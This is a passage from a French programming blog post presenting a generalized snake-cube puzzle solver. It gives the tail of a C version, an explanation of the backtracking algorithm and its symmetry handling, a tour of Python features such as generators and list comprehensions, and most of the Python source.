        sprintf(canonical_number, "");
    } else if (number == (char) -1) {
        sprintf(canonical_number, "-");
    } else {
        sprintf(canonical_number, "%i", number);
    }
    return canonical_number;
}

char * cursor_to_string(int cursor[]) {
    char * result = (char *) malloc(255 * sizeof(char));
    char * s = result;
    int i;
    s += sprintf(s, "(");
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        if (i != 0) {
            s += sprintf(s, ", ");
        }
        s += sprintf(s, "%i", cursor[i]);
    }
    s += sprintf(s, ")");
    return result;
}

void volume_helper_set_cursor(int cursor[]) {
    volume_helper_set_flag(volume_helper.init_cursor, false);
    memcpy(volume_helper.init_cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    memcpy(volume_helper.cursor, cursor, DIMENSIONS_COUNT * sizeof(int));
    volume_helper_set_flag(cursor, true);
}

bool * volume_helper_get_flag_pointer(int cursor[]) {
    bool * p_flag = volume_helper.flags;
    int product = 1;
    int i;
    for (i = DIMENSIONS_COUNT - 1; i >= 0; i--) {
        p_flag += cursor[i] * product;
        product *= dimensions[i];
    }
    return p_flag;
}

bool volume_helper_get_flag(int cursor[]) {
    return * volume_helper_get_flag_pointer(cursor);
}

void volume_helper_set_flag(int cursor[], bool value) {
    * volume_helper_get_flag_pointer(cursor) = value;
}

bool volume_helper_can_move(vector_s vector) {
    int cursor_position_value = volume_helper.cursor[vector.position];
    int new_value = cursor_position_value + vector.value;
    int future_cursor[DIMENSIONS_COUNT];
    int sign, i, abs_value;
    if (new_value < 0 || new_value >= dimensions[vector.position]) {
        return false;
    }
    memcpy(future_cursor, volume_helper.cursor, DIMENSIONS_COUNT * sizeof(int));
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        future_cursor[vector.position] += sign;
        if (volume_helper_get_flag(future_cursor)) {
            return false;
        }
    }
    return true;
}

void volume_helper_move(vector_s vector) {
    int sign, i, abs_value;
    volume_helper_append_vector_in_path(vector);
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        volume_helper.cursor[vector.position] += sign;
        volume_helper_set_flag(volume_helper.cursor, true);
    }
}

void volume_helper_back() {
    int sign, i, abs_value;
    vector_s vector = volume_helper_pop_vector_in_path();
    if (vector.value < 0) {
        sign = -1;
    } else {
        sign = 1;
    }
    abs_value = sign * vector.value;
    for (i = 0; i < abs_value; i++) {
        volume_helper_set_flag(volume_helper.cursor, false);
        volume_helper.cursor[vector.position] += -sign;
    }
}

void volume_helper_append_vector_in_path(vector_s vector) {
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    memcpy(current_vector, &vector, sizeof(vector_s));
    volume_helper.path_length ++;
}

vector_s volume_helper_pop_vector_in_path() {
    volume_helper.path_length --;
    vector_s * current_vector = volume_helper.path + volume_helper.path_length;
    vector_s vector;
    memcpy(&vector, current_vector, sizeof(vector));
    return vector;
}

void symmetry_helper_init_eq_classes_from_dimensions() {
    // eq_classes from dimensions is the first item of eq_classes_path
    int * eq_classes = symmetry_helper.eq_classes_path;
    int i, j;
    int value;
    bool found;
    for (i = 1; i < DIMENSIONS_COUNT; i++) {
        value = dimensions[i];
        j = 0;
        found = false;
        while (j < i && !found) {
            if (dimensions[j] == value) {
                eq_classes[i] = j;
                found = true;
            } else {
                j++;
            }
        }
        if (!found) {
            eq_classes[j] = j;
        }
    }
    symmetry_helper.eq_classes = eq_classes;
}

bool symmetry_helper_inc_cursor(int cursor[]) {
    return symmetry_helper_inc_cursor_rec(cursor, DIMENSIONS_COUNT - 1);
}

bool symmetry_helper_inc_cursor_rec(int cursor[], int index) {
    int * eq_classes = symmetry_helper.eq_classes_path;
    int value = cursor[index];
    int i;
    if (value < (dimensions[index] - 1) / 2) {
        // the last coordinate can be incremented
        cursor[index] ++;
        return true;
    }
    // we must increment recursively the previous coordinate
    if (index == 0) {
        // there is no more coordinate to increment
        return false;
    }
    i = index - 1;
    if (!symmetry_helper_inc_cursor_rec(cursor, i)) {
        return false;
    }
    while (i >= 0 && eq_classes[i] != eq_classes[index]) {
        i--;
    }
    if (i >= 0) {
        // coordinate value must at least equals the previous coordinates
        // in the same equivalence class
        cursor[index] = cursor[i];
    } else {
        cursor[index] = 0;
    }
    return true;
}

void symmetry_helper_set_cursor(int cursor[]) {
    int * eq_classes_path = symmetry_helper.eq_classes_path;
    int * cursor_eq_classes = symmetry_helper.eq_classes_path + DIMENSIONS_COUNT;
    int i, j, old_class;

    symmetry_helper.eq_classes = cursor_eq_classes;
    // copy the eq_classes computed from the dimensions into the next segment
    memcpy(cursor_eq_classes, eq_classes_path, DIMENSIONS_COUNT * sizeof(int));
    for (i = 0; i < DIMENSIONS_COUNT; i++) {
        if (cursor_eq_classes[i] != i && !eq_cmp(cursor_eq_classes[i], cursor[i], dimensions[i])) {
            old_class = cursor_eq_classes[i];
            cursor_eq_classes[i] = i;
            for (j = i + 1; j < DIMENSIONS_COUNT; j++) {
                if (cursor_eq_classes[j] == old_class) {
                    cursor_eq_classes[j] = i;
                }
            }
        }
    }
}

void symmetry_helper_move(vector_s vector) {
    int position = vector.position;
    int * previous_eq_classes = symmetry_helper.eq_classes;
    int * new_eq_classes = previous_eq_classes + DIMENSIONS_COUNT;

    int new_eq_class = -1;
    int i;
    memcpy(new_eq_classes, previous_eq_classes, DIMENSIONS_COUNT * sizeof(int));
    for (i = position + 1; i < DIMENSIONS_COUNT; i++) {
        if (new_eq_classes[i] == position) {
            if (new_eq_class == -1) {
                new_eq_class = i;
            }
            new_eq_classes[i] = new_eq_class;
        }
    }
    symmetry_helper.eq_classes = new_eq_classes;
}

void symmetry_helper_back() {
    symmetry_helper.eq_classes -= DIMENSIONS_COUNT;
}

bool symmetry_helper_must_explore(int i) {
    return symmetry_helper.eq_classes[i] == i;
}

bool eq_cmp(int p1, int p2, int dim) {
    return p1 == p2 || p1 + p2 + 1 == dim;
}

bool solve() {
    int cursor[DIMENSIONS_COUNT] = {}; // init with zeros
    int i;
    if (structure_length + 1 != volume_size) {
        fprintf(stderr,
                "Structure has not the right length (%i instead of %i)\n",
                structure_length, volume_size);
        return false;
    }

    do {
        volume_helper_set_cursor(cursor);
        symmetry_helper_set_cursor(cursor);
        if (!solve_rec(cursor, 0)) {
            return false;
        }
    } while (symmetry_helper_inc_cursor(cursor));

    // explored all possible solutions
    return true;
}

bool solve_rec(int init_cursor[], int step) {
    int previous_position;
    int norm = structure[step];
    int vector_value;
    int i, k;
    vector_s possible_vector;
    if (step == STRUCTURE_VECTOR_COUNT) {
        if (!solution(volume_helper.init_cursor, volume_helper.path)) {
            // stop searching for new solutions
            return false;
        }
    } else {
        if (volume_helper.path_length == 0) {
            previous_position = -1;
        } else {
            previous_position = volume_helper.path[volume_helper.path_length -1].position;
        }
        for (i = 0; i < DIMENSIONS_COUNT; i++) {
            if (i != previous_position && symmetry_helper_must_explore(i)) {
                for (k = 0; k < 2; k++) {
                    vector_value = k == 0 ? norm : -norm;
                    possible_vector = new_vector(i, vector_value);
                    if (volume_helper_can_move(possible_vector)) {
                        volume_helper_move(possible_vector);
                        symmetry_helper_move(possible_vector);
                        if (!solve_rec(init_cursor, step + 1)) {
                            return false;
                        }
                        volume_helper_back();
                        symmetry_helper_back();
                    }
                }
            }
        }
    }
    return true;
}

bool solution(int * init_cursor, vector_s * path) {
    int i;
    char * vector_string;
    vector_s vector;
    printf("(%s, [", cursor_to_string(init_cursor));
    for (i = 0; i < STRUCTURE_VECTOR_COUNT; i++) {
        if (i != 0) {
            printf(", ");
        }
        vector = path[i];
        vector_string = vector_to_string(vector);
        printf("%s", vector_string);
        free(vector_string);
    }
    printf("])\n");
    // stop after the first solution
    return false;
}

int main(void) {
    init();
    solve();
    exit(0);
}

Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).
Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.
Je l’ai également implémenté en C.

L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube…

Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.

Résolution

Problème

Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.

La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :

[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.

L’objectif est de trouver un chemin hamiltonien (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.

Principe

Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :

• rester dans le volume (évidemment) ;
• le n^ième vecteur doit être orthogonal au (n-1)^ième vecteur (cette règle ne s’applique pas pour le tout premier vecteur) ;
• le vecteur « placé » dans le cube ne doit pas passer par une position déjà occupée (physiquement, il n’est pas possible de faire passer une partie du serpent à travers une autre).

Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).

Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).

Limites

Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions « identiques ». Une amélioration serait de les détecter « au plus tôt » et de ne pas les construire.

La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.

Implémentation

Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).

Vector

Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.

Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).

Vector(position, value)

VolumeHelper

Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il « allume les petites lumières » associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).

SymmetryHelper

Cette classe a été ajoutée dans la version 0.2.
Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.

Solver

Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les solutions.

Solutions

Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :

$ ./snakesolver.py
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z])
([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x])
...

Considérons la première solution :

([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])

Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x, puis de 1 sur l’axe y, de -1 sur l’axe x, etc.
Voici la représentation graphique de cette solution :

Fonctionnalités de Python

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.

Compréhension de liste

La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.

D’abord, dans la classe VolumeHelper :

def all_points(self, index=0):
    if index == len(self.dimensions):
        return [[]]
    return ([h] + t for h in xrange(self.dimensions[index])
            for t in self.all_points(index + 1))

La partie mise en gras signifie :

tous les éléments de la forme [h] + t (l’élément h en tête de liste suivie de la queue de la liste) pour h compris entre 0 et self.dimensions[index] (un entier) et pour tout t compris dans les résultats de l’appel récursif

Ça ne vous éclaire pas ? Dit plus simplement :

le résultat de la concaténation de chacun des nombres de 0 à n (avec n = self.dimensions[index]) à chacune des listes fournies par l’appel récursif

En fait, cette fonction fournit tous les points possibles pour les dimensions données.
Par exemple, si dimensions = [2, 2], alors le résultat sera :

[[0, 0], [0, 1], [1, 0], [1, 1]]

Pour dimensions = [2, 2, 3], le résultat sera :

[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1,
0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]

Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !

Remarque : la compréhension de liste retourne une liste si elle est définie entre [], alors qu’elle retourne un générateur (un itérateur) si elle est définie entre ().

Second exemple, dans Solver.__solve_rec(…) :

for possible_vector in ( Vector(i, v)
                         for v in [ norm, -norm ]
                         for i in xrange(len(self.dimensions))
                         if i != previous_position ):

Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons de i et de v dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur i).
En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.

Itérateur

La notion d’itérateur est présente dans beaucoup d’autres langages. Un itérateur retourne un nouvel élément à chaque appel à la méthode next(). En pratique, il est souvent utilisé de manière transparente dans une boucle for variable in iterator :

for i in xrange(10):
    print i

xrange(…) retourne un itérateur et fournit les valeurs au fur et à mesure, alors que range(…) crée la liste de toutes les valeurs, qui est ensuite parcourue.

Yield

Les expressions yield permettent de créer un itérateur très simplement.

Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.

La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.

La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à next(). Gérer manuellement l’itération sur les solutions du cube-serpent semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées dans des appels récursifs.

C’est là qu’interviennent les expressions yield, qui répondent aux deux besoins en même temps. Utiliser une expression yield dans le corps d’une fonction suffit à transformer cette fonction en un générateur. Il n’est donc plus possible de retourner de valeur grâce à return.

Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.

Afin d’utiliser ce principe pour la génération des solutions, les fonctions SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas des fonctions ordinaires, mais des générateurs :

if step == len(self.structure):
    yield init_cursor, self.volume_helper.path[:]

Grâce à cette implémentation, il est possible de parcourir toutes les solutions :

for solution in solver.solve():
    print solution

ou alors de ne générer que les k premières :

max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
    try:
        print solutions.next()
    except StopIteration:
        break

Lambdas

Python supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.

J’utilise cette fonctionnalité une fois dans le programme :

needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1

Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.

La fonction reduce(function, iterable, …) permet d’appliquer cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de manière à réduire l’iterable en une seule valeur.
Même si « ce qui se conçoit bien s’énonce clairement », la fonction reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…

Ici, donc, needed_length contient le produit de tous les éléments de la liste self.dimensions.

Conclusion

La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations « au plus tôt » serait une amélioration non négligeable (et pas si évidente).

Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.

J’espère que ça vous a amusé aussi.

Script

J’ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.
L’historique des scripts est disponible ici.
Voici le code source. Il est également disponible ici : snakesolver-0.2.1.py.

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# snakesolver v0.2.1, 5th october 2011
#
# changelog:
#   0.2.1
#     - get_useful_points() did not work for non-(hyper-)cubic volumes
#   0.2
#     - give all the solutions ignoring those which are equivalent by symmetry
#       or rotation
#   0.1
#     - initial version
#
# Solver for generalized snake-cube:
# http://en.wikipedia.org/wiki/Snake_cube
# http://fr.wikipedia.org/wiki/Cube_serpent
#
# By Romain Vimont (®om)
#   rom@rom1v.com

# snake structure (list of consecutives vector norms)
# Wikipedia example
SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]

# size of each dimension of the target volume
VOLUME_DIMENSIONS = [3, 3, 3]

# first variable names, the next will be k1, k2, k3...
VARIABLES = ['x', 'y', 'z', 't']

class Vector:

    """Base vector, with only one non-zero value."""

    def __init__(self, position, value):
        """Create a new base vector.

        Examples:
          - 2 dimensions:
              Vector(0, 2) means (2, 0)
              Vector(1, 3) means (0, 3)
          - 3 dimensions:
              Vector(0, 2) means (2, 0, 0)
              Vector(1, 3) means (0, 3, 0)
          - n dimensions:
              Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0)
        """
        self.position = position
        self.value = value

    @staticmethod
    def __get_variable(position):
        """Returns the variable name associated to position.

        Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...].
        """
        if position < len(VARIABLES):
            return VARIABLES[position]
        return 'k' + str(position - len(VARIABLES) + 1)

    @staticmethod
    def __get_canonical(number):
        """Removes the 1 if number is 1 or -1.

        Used for formatting …, -3x, -2x, -x, x, 2x, 3x, …
        """
        if number == 1:
            return ''
        if number == -1:
            return '-'
        return str(number)

    def __repr__(self):
        return Vector.__get_canonical(self.value) +\
               Vector.__get_variable(self.position)

class VolumeHelper:

    """Volume helper for the solver.

    A volume must be considered as an "hyper-volume", it can have any number of
    dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3
    is an hypercube.

    Keep a flags volume (1 boolean per "point"), indicating if the case is
    already filled.
    """

    def __init__(self, dimensions):
        """Create a volume helper.

        Keyword arguments:
        dimensions -- the dimensions of the target volume (e.g. [3, 3, 3])
        init_cursor -- the starting position in the volume (e.g. [0, 0, 0])
        """
        self.dimensions = dimensions
        self.path = []
        self.flags = VolumeHelper.__create_volume_flags(dimensions)
        self.init_cursor = None

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\
                                    'middle of a path calculation'
        if self.init_cursor is not None:
            # set to False the flag for the old cursor
            self.__set_flag(self.init_cursor, False)
        self.init_cursor = cursor[:]
        self.cursor = self.init_cursor
        self.__set_flag(self.cursor, True)

    def __get_flag(self, cursor):
        """Return the flag for the specified cursor."""
        tmp = self.flags
        # dereference n times
        for i in xrange(len(cursor)):
            tmp = tmp[cursor[i]]
        # after the last iteration, tmp contains the value
        return tmp

    def __set_flag(self, cursor, value):
        """Change the flag for the specified cursor."""
        tmp = self.flags
        for i in xrange(len(cursor) - 1):
            tmp = tmp[cursor[i]]
        tmp[cursor[-1]] = value

    def can_move(self, vector):
        """Indicates if it is possible to move the cursor by the move defined
        by the vector."""

        # the new vector will change the cursor at position vector.position,
        # adding vector.value
        # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2),
        # then cursor will take the value [1, 2, 2]
        cursor_position_value = self.cursor[vector.position]
        new_value = cursor_position_value + vector.value
        if new_value < 0 or new_value >= self.dimensions[vector.position]:
            # outside volume
            return False

        # copy the cursor for not modifying the real one
        future_cursor = self.cursor[:]
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            future_cursor[vector.position] += sign
            # if the flag at future_cursor is already True, then we cannot move
            # to this case, it is already filled
            if self.__get_flag(future_cursor):
                return False
        return True

    def move(self, vector):
        """Move the cursor by the vector, and updates flags and path."""
        self.path.append(vector)
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.cursor[vector.position] += sign
            self.__set_flag(self.cursor, True)

    def back(self):
        """Cancel the last move.

        Used for the recursivity, for avoiding to create a new flags volume for
        each recursivity step.
        """
        vector = self.path.pop()
        if vector.value < 0:
            sign = -1
        else:
            sign = 1
        for i in xrange(sign * vector.value):
            self.__set_flag(self.cursor, False)
            self.cursor[vector.position] += -sign

    @staticmethod
    def __create_volume_flags(dimensions, index=0):
        """Create a multi-dimensional array filled with False values."""
        if index == len(dimensions) - 1:
            return [False] * dimensions[-1]
        return [VolumeHelper.__create_volume_flags(dimensions, index + 1)
                 for i in xrange(dimensions[index])]

    def __repr__(self):
        return repr(cube_flags)

class SymmetryHelper:

    """Symmetry helper for the solver.

    It manages equivalence classes for equivalent points and equivalent pathes
    by symmetry and/or rotation.

    As symmetries and rotations only concern permutation and inversion of
    vector components (positions), then equivalences classes concern
    dimensions.
    If x and z axis are equivalent (at a specific step), we could represent the
    equivalence classes like this: [[0, 2], [1]]. In that case, the solver
    would only try vectors on x axis, but will ignore z axis (because it is
    equivalent).
    Then, after a move, they are not equivalent anymore, then the equivalence
    classes could be represented by [[0], [1], [2]].

    But there is a far better representation for handling quickly the
    equivalence classes: a simple array, with the same length as dimensions.
    For each dimension i, the eq_classes array contains the lower index of an
    equivalent axis:
      - i if there is no axis with lower index which is equivalent;
      - j if there is an axis j with a lower index (the lowest) which is
        equivalent.
    For example, if x and z are equivalent, then eq_classes is [0, 1, 0].
    If y and z are equivalent, then eq_classes is [0, 1, 1].
    If x and y are equivalent, then eq_classes is [0, 0, 2].
    If x, y and z are equivalent, then eq_classes is [0, 0, 0].
    If none are equivalent, then eq_classes is [0, 1, 2].

    With this representation, we can easily pick only 1 vector per equivalence
    class (and ignore the others): the ones with eq_classes[i] == i.

    eq_classes_path stores the list of eq_classes used, to restore previous
    ones when calling back(). Equivalence classes at index i are always
    computed from the equivalence classes at index i-1 (except if i == 0),
    and are always "as or more splitted".
    """

    def __init__(self, dimensions):
        self.dimensions = dimensions
        # eq_classes is always eq_classes_path[-1]
        self.eq_classes = self.__create_eq_classes_from_dimensions()
        self.eq_classes_path = [self.eq_classes]

    def __create_eq_classes_from_dimensions(self):
        """Compute the first equivalences classes from the dimensions.

        The dimensions which have the same length are equivalent.
        """
        eq_classes = range(len(self.dimensions))
        for i in xrange(1, len(self.dimensions)):
            value = self.dimensions[i]
            for j in xrange(0, i):
                if self.dimensions[j] == value:
                    eq_classes[i] = j
                    break
        return eq_classes

    def set_cursor(self, cursor):
        """Change the initial cursor position."""
        # the first item in eq_classes_path is computed from the dimensions
        # the second item is computed from the init_point
        # the next items are computed from the next moves (vectors)
        assert len(self.eq_classes_path) == 1 or\
               len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\
               'happen in the middle of a path calculation'
        if len(self.eq_classes_path) == 2:
            # this is not the first initialisation, we have to remove the
            # eq_classes associated with the previous cursor
            self.eq_classes_path.pop()
        self.cursor = cursor

        # make a copy to not modify the previous one (must be immutable)
        cursor_eq_classes = self.eq_classes_path[0][:]
        for i in xrange(len(cursor_eq_classes)):
            # if the equivalence class must be splitted
            # i.e. the value for the axis has changed
            if cursor_eq_classes[i] != i and not self.__eq_cmp(
                    cursor[cursor_eq_classes[i]],\
                    cursor[i], self.dimensions[i]):
                old_class = cursor_eq_classes[i]
                cursor_eq_classes[i] = i
                # If eq_classes = [0, 0, 0], and we detected that the first
                # dimension is not equivalent anymore with the two others,
                # then the new eq_classes will be [0, 1, 1]:
                # we have to check the next dimensions to change their value
                for j in xrange(i + 1, len(cursor_eq_classes)):
                    if cursor_eq_classes[j] == old_class:
                        cursor_eq_classes[j] = i

        self.eq_classes = cursor_eq_classes
        self.eq_classes_path.append(cursor_eq_classes)
        # At this point, eq_classes_path contains two items:
        #   - the eq_class at index 0 computed only from the dimensions;
        #   - the eq_class at index 1 computed from the initial point
        #     (which splits the equivalence classes computed from the
        #     dimensions).

    def get_useful_points(self):
        """Returns one point from each equivalence class, not more.

        For example, if dimensions is [3, 3, 3], then useful points are
        [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]]
        which are, respectively:
        [a corner, an edge, a center, the core (middle of the cube)]
        All other points are equivalent to one point in this minimal set.
        """
        assert len(self.eq_classes_path) == 1, \
               'When computing useful points, there is only 1 eq_classes, ' +\
               'computed from the dimensions'
        # start with point 0
        for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)):
            yield point

    def get_useful_points_rec(self, index, minimums):
        if index == len(self.dimensions):
            yield []
        else:
            eq_class = self.eq_classes[index]
            # We want to remove symmetry-or-rotation-equivalent-points.
            # The easiest way to achive this goal is to:
            #   - consider only one half of dimension length (+1);
            #   - always use sorted coordinates inside equivalence classes.
            #
            # For a dimension of length 3, we consider only the values 0 and 1.
            # For a dimension of length 4, we consider 0 and 1 too.
            # For a dimension of length 5, we consider 0, 1 and 2.
            #
            # Only use sorted coordinates avoid to check [0, 1] and [1, 0],
            # because they are equivalent. When building a vector, we keep a
            # "minimum" value (rather a "minimums" array, one minimum for each
            # equivalence class) to guarantee this condition.
            minimum = minimums[eq_class]
            # h is "head", t is "tail"
            for h in xrange(minimum, (self.dimensions[index] + 1) / 2):
                # change the minimum for deeper recursive calls
                minimums[eq_class] = h
                for t in self.get_useful_points_rec(index + 1, minimums):
                    yield [h] + t
            # restore the previous value
            minimums[eq_class] = minimum 

    def move(self, vector):
        """Compute the new equivalent classes after a move by the vector."""
        assert self.eq_classes[vector.position] == vector.position,\
               'A move must always concern the first vector of an ' +\
               'equivalence class'

        # create a copy of eq_classes only if it changes, else use the same
        # instance
        has_changes = False
        position = vector.position
        new_eq_classes = self.eq_classes
        new_eq_class = None
        # the axis is now alone in its equivalence class (the vector has moved
        # the cursor on this axis, but not on the others), we have to update
        # the others (if any)
        for i in xrange(position + 1, len(self.eq_classes)):
            if self.eq_classes[i] == position:
                if not has_changes:
                    has_changes = True
                    new_eq_classes = self.eq_classes[:]
                if new_eq_class is None:
                    new_eq_class = i
                new_eq_classes[i] = new_eq_class
        self.eq_classes = new_eq_classes
        self.eq_classes_path.append(new_eq_classes)

    def back(self):
        """Cancel the last move."""
        self.eq_classes_path.pop()
        self.eq_classes = self.eq_classes_path[-1]

    def must_explore(self, i):
        """Returns True if the vector position is the first in its equivalence
        class (the others will be ignored, because equivalents)"""
        return self.eq_classes[i] == i

    @staticmethod
    def __eq_cmp(p1, p2, dim):
        """Comparator which tests if two point are "equivalent" on an axis.

        Keyword arguments:
        p1 -- projection of the point 1 on the axis
        p2 -- projection of the point 2 on the axis
        dim -- length of dimension associated to the axis

        p1 and p2 are equivalent if and only if:
          -    v1 == v2 (they are at the same place)
          - or v1 + v2 + 1 = dim (they are symmetrically opposite)
        """
        return p1 == p2 or p1 + p2 + 1 == dim

class SnakeCubeSolver:

    """Solver."""

    def __init__(self, dimensions, structure):
        """Create a new solver.

        Keyword arguments:
        dimensions -- the dimensions of the target volume
                      (for example [3, 3, 3])
        structure -- the snake structure
        """
        self.dimensions = dimensions
        self.structure = structure
        self.volume_helper = VolumeHelper(dimensions)
        self.symmetry_helper = SymmetryHelper(dimensions)

    def solve(self):
        """Solve the snake.

        This function returns an iterator: the full list of solutions is not
        created."""

        # the structure length must exactly fill the target volume
        structure_length = sum(self.structure)
        needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
        if structure_length != needed_length:
            print 'Structure has not the right length (' +\
                  str(structure_length) + ' instead of ' +\
                  str(needed_length) + ')'
        else:
            for init_point in self.symmetry_helper.get_useful_points():
                # for each useful initial point (in a minimal set where no
                # points are equivalent to another)
                self.volume_helper.set_cursor(init_point)
                self.symmetry_helper.set_cursor(init_point)
                # recursively solve and yield the solutions
                for solution in self.__solve_rec(init_point[:], 0):
                    yield solution

    def __solve_rec(self, init_cursor, step):
        """Recursively solve.

        Keyword arguments:
        init_cursor -- starting point, only used to put it in found solutions
        step -- recursivity depth, index of current vector in snake structure
        """
        if step == len(self.structure):
            # a new solution is found, copy the path and yield the solution
            yield init_cursor, self.volume_helper.path[:]
        else:
            if len(self.volume_helper.path) == 0:
                # empty path, use an inexistant position (-1),
